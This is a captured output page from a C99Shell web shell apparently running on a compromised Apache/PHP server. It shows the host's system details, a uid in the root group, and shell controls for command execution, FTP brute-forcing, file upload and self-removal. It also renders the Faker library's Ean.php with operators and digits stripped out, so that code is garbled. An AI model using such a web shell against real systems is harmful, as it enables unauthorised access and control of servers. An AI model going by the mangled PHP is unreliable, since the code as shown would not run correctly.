!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/fakerphp/faker/src/Faker/Calculator/   drwxr-xr-x
Free 28.64 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Ean.php (1.1 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Faker\Calculator;

/**
 * Utility class for validating EAN-8 and EAN-13 numbers
 */
class Ean
{
    
/**
     * @var string EAN validation pattern
     */
    
public const PATTERN '/^(?:\d{8}|\d{13})$/';

    
/**
     * Computes the checksum of an EAN number.
     *
     * @see https://en.wikipedia.org/wiki/International_Article_Number
     *
     * @return int
     */
    
public static function checksum(string $digits)
    {
        
$sequence = (strlen($digits) + 1) === ? [31] : [13];
        
$sums 0;

        foreach (
str_split($digits) as $n => $digit) {
            
$sums += ((int) $digit) * $sequence[$n 2];
        }

        return (
10 $sums 10) % 10;
    }

    
/**
     * Checks whether the provided number is an EAN compliant number and that
     * the checksum is correct.
     *
     * @param string $ean An EAN number
     *
     * @return bool
     */
    
public static function isValid(string $ean)
    {
        if (!
preg_match(self::PATTERN$ean)) {
            return 
false;
        }

        return 
self::checksum(substr($ean0, -1)) === (int) substr($ean, -1);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--